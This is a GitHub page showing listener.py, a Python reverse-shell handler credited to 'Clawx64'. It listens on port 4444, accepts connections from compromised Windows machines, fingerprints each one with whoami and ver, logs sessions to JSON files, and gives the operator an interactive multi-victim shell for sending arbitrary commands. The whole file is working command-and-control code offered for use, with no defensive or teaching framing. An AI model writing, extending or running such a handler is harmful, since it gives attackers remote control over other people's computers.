-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlistener.py
384 lines (330 loc) · 11.8 KB
/
listener.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
import socket
import sys
import threading
import os
import time
import json
from datetime import datetime
from colorama import Fore, Style, init
import argparse
import shlex
try:
import readline
except ImportError:
try:
import pyreadline3 as readline
except ImportError:
# If neither is available, create dummy readline
class DummyReadline:
def read_history_file(self, *args): pass
def write_history_file(self, *args): pass
readline = DummyReadline()
def parse_args():
parser = argparse.ArgumentParser(description='LS Server')
parser.add_argument('-i', '--ip', default='0.0.0.0', help='IP to listen on (default: 0.0.0.0)')
parser.add_argument('-p', '--port', type=int, default=4444, help='Port to listen on (default: 4444)')
return parser.parse_args()
args = parse_args()
LS_HOST = args.ip
LS_PORT = args.port
clients = []
current_client = None
sessions_dir = os.path.join(os.path.dirname(__file__), 'sessions')
if not os.path.exists(sessions_dir):
os.makedirs(sessions_dir)
# Initialize colorama
init(autoreset=True)
def setup_history():
history_file = os.path.expanduser('~/.LS_history')
try:
readline.read_history_file(history_file)
except FileNotFoundError:
pass
def save_history():
readline.write_history_file(history_file)
import atexit
atexit.register(save_history)
def log_msg(msg, level="info"):
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
colors = {
"info": Fore.CYAN,
"success": Fore.GREEN,
"warning": Fore.YELLOW,
"error": Fore.RED
}
color = colors.get(level, Fore.WHITE)
print(f"{color}[{timestamp}] {msg}{Style.RESET_ALL}")
def receive_data(client_socket, timeout=0.5, max_size=4096):
response = ""
start_time = time.time()
while True:
try:
client_socket.settimeout(timeout)
data = client_socket.recv(max_size).decode(errors="ignore")
if not data:
break
response += data
if time.time() - start_time > timeout * 2:
break
except socket.timeout:
break
except Exception as e:
log_msg(f"Error receiving data: {str(e)}", "error")
break
return response.strip()
def save_session(client_socket, addr, info):
session = {
'ip': addr[0],
'port': addr[1],
'timestamp': datetime.now().isoformat(),
'system_info': info,
'commands': []
}
filename = f'{addr[0]}_{addr[1]}_{int(time.time())}.json'
with open(os.path.join(sessions_dir, filename), 'w') as f:
json.dump(session, f, indent=2)
def load_sessions():
sessions = []
if os.path.exists(sessions_dir):
for file in os.listdir(sessions_dir):
if file.endswith('.json'):
with open(os.path.join(sessions_dir, file)) as f:
sessions.append(json.load(f))
return sessions
SEPARATOR = "-" * 50
def list_clients():
print(f"\n{Fore.CYAN}Connected clients:{Style.RESET_ALL}")
print(SEPARATOR)
for i, (client, addr, info) in enumerate(clients):
status = f"{Fore.GREEN}ACTIVE{Style.RESET_ALL}" if client == current_client else f"{Fore.YELLOW}IDLE{Style.RESET_ALL}"
print(f" [{i}] {addr[0]}:{addr[1]} - {status}")
if info:
user = info.get('user', 'Unknown')
os_info = info.get('os', 'Unknown')
user = user.strip() if user else 'Unknown'
os_info = os_info.strip() if os_info else 'Unknown'
print(f" User: {user}")
print(f" OS: {os_info}")
print(SEPARATOR)
def switch_client(index):
global current_client
if 0 <= index < len(clients):
current_client = clients[index][0]
addr = clients[index][1]
log_msg(f"Switched to client {addr[0]}:{addr[1]}", "success")
else:
log_msg("Invalid client index", "error")
def get_system_info(client_socket):
info = {}
commands = [
("whoami", "user"),
("ver", "os"),
]
print(f"\n{Fore.CYAN}Gathering system information...{Style.RESET_ALL}")
print(SEPARATOR)
for cmd, key in commands:
client_socket.send(f"{cmd}\r\n".encode())
time.sleep(1)
response = receive_data(client_socket)
if response:
cleaned = response.split('\n')[-1].strip()
info[key] = cleaned
print(f"\n{Fore.YELLOW}[*] {key.upper()}{Style.RESET_ALL}")
print(cleaned)
print(SEPARATOR)
return info
def show_current_id():
"""Show current client ID"""
if not current_client:
print("No active client")
return
for i, (client, addr, _) in enumerate(clients):
if client == current_client:
print(f"Current client ID: {i}")
return
def handle_command(cmd, args):
"""Validate and handle commands"""
if cmd == "switch":
try:
if len(args) < 2:
print("Usage: switch <client_id>")
return True
switch_client(int(args[1]))
return True
except ValueError:
print("Error: Client ID must be a number")
return True
return False
help_menu = f"""
{Fore.CYAN}Built-in commands:{Style.RESET_ALL}
{SEPARATOR}
clear - Clear screen
exit - Close current session
help - Show this help
clients - List connected clients
switch - Switch between clients (switch <id>)
info - Show current client information
sessions - List saved sessions
id - Show current client ID
{SEPARATOR}
"""
BUILTIN_COMMANDS = {
"clear": lambda _: os.system("cls" if os.name == "nt" else "clear"),
"help": lambda _: print(help_menu),
"clients": lambda _: list_clients(),
"switch": lambda args: handle_command("switch", args),
"info": lambda _: print_client_info(current_client) if current_client else print("No active client"),
"sessions": lambda _: print_sessions(),
"id": lambda _: show_current_id()
}
def print_client_info(client):
for c, addr, info in clients:
if c == client:
print(f"\n{Fore.CYAN}Client Information:{Style.RESET_ALL}")
print(SEPARATOR)
print(f" Address: {addr[0]}:{addr[1]}")
if info:
for key, value in info.items():
print(f"\n{Fore.YELLOW}[*] {key.upper()}{Style.RESET_ALL}")
# Clean up the output - remove command echo
cleaned_value = '\n'.join(line for line in value.split('\n') if not line.startswith(key.lower()))
print(cleaned_value.strip())
print(SEPARATOR)
def print_sessions():
sessions = load_sessions()
print(f"\n{Fore.CYAN}Saved sessions:{Style.RESET_ALL}")
for i, session in enumerate(sessions):
print(f" [{i}] {session['ip']}:{session['port']} - {session['timestamp']}")
def handle_client(client_socket, addr):
global current_client
log_msg(f"New connection from {addr[0]}:{addr[1]}", "success")
try:
client_socket.send("@echo off\r\n".encode())
time.sleep(0.5)
try:
client_socket.recv(4096)
except socket.timeout:
pass
info = get_system_info(client_socket)
clients.append((client_socket, addr, info))
save_session(client_socket, addr, info)
if len(clients) == 1 or current_client is None:
current_client = client_socket
print(f"{Fore.LIGHTCYAN_EX}Shell> {Style.RESET_ALL}", end='', flush=True)
while True:
try:
if client_socket != current_client:
time.sleep(0.1)
continue
cmd = input().strip()
if not cmd:
print(f"{Fore.LIGHTCYAN_EX}Shell> {Style.RESET_ALL}", end='', flush=True)
continue
args = shlex.split(cmd)
command = args[0].lower()
if command in BUILTIN_COMMANDS:
BUILTIN_COMMANDS[command](args)
print(f"{Fore.LIGHTCYAN_EX}Shell> {Style.RESET_ALL}", end='', flush=True)
continue
if command == "exit":
break
client_socket.send(f"{cmd}\r\n".encode())
time.sleep(0.5)
response = receive_data(client_socket)
if response:
print(f"{Fore.LIGHTBLACK_EX}{response}{Style.RESET_ALL}")
print(f"{Fore.LIGHTCYAN_EX}Shell> {Style.RESET_ALL}", end='', flush=True)
except KeyboardInterrupt:
break
except Exception as e:
log_msg(f"Error with {addr[0]}:{addr[1]}: {str(e)}", "error")
finally:
clients[:] = [(c, a, i) for c, a, i in clients if c != client_socket]
if current_client == client_socket:
current_client = clients[0][0] if clients else None
try:
client_socket.close()
except:
pass
def print_banner():
os.system("cls" if os.name == "nt" else "clear")
banner = f"""
{Fore.WHITE} .__
____ | | _____ __ _ __
_/ ___\| | \__ \\ \/ \/ /
\ \___| |__/ __ \\ /
\___ >____(____ /\/\_/
\/ \/
{Style.RESET_ALL}
{Fore.RED}By Clawx64 | Listening on {Fore.LIGHTBLACK_EX}{LS_HOST}{Fore.WHITE}:{Fore.LIGHTBLACK_EX}{LS_PORT}{Style.RESET_ALL}
----------------------------------------------------
"""
print(banner)
def cleanup():
log_msg("Cleaning up connections...", "warning")
for client, _, _ in clients:
try:
client.close()
except:
pass
clients.clear()
def validate_ip(ip):
"""Validate if IP is available on this system"""
try:
hostname = socket.gethostname()
ips = socket.gethostbyname_ex(hostname)[2]
if ip in ['127.0.0.1', 'localhost', '0.0.0.0']:
return True
return ip in ips
except:
return False
def main():
print_banner()
setup_history()
try:
if not validate_ip(LS_HOST):
log_msg(f"Invalid IP address: {LS_HOST}", "error")
log_msg("Available IPs on this system:", "info")
hostname = socket.gethostname()
ips = socket.gethostbyname_ex(hostname)[2]
for ip in ips:
print(f" - {ip}")
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.settimeout(1)
try:
s.bind((LS_HOST, LS_PORT))
except socket.error as e:
if e.errno == 10013:
log_msg(f"Error: Port {LS_PORT} requires admin privileges", "error")
elif e.errno == 10048:
log_msg(f"Error: Port {LS_PORT} is already in use", "error")
else:
log_msg(f"Error binding to {LS_HOST}:{LS_PORT}: {str(e)}", "error")
return
s.listen(5)
log_msg(f"Listening on {LS_HOST}:{LS_PORT}", "info")
while True:
try:
conn, addr = s.accept()
client_thread = threading.Thread(target=handle_client, args=(conn, addr))
client_thread.daemon = True
client_thread.start()
except socket.timeout:
continue
except KeyboardInterrupt:
log_msg("\nShutting down server...", "warning")
break
except Exception as e:
log_msg(f"Fatal error: {str(e)}", "error")
finally:
cleanup()
try:
s.shutdown(socket.SHUT_RDWR)
s.close()
except:
pass
sys.exit(0)
if __name__ == "__main__":
main()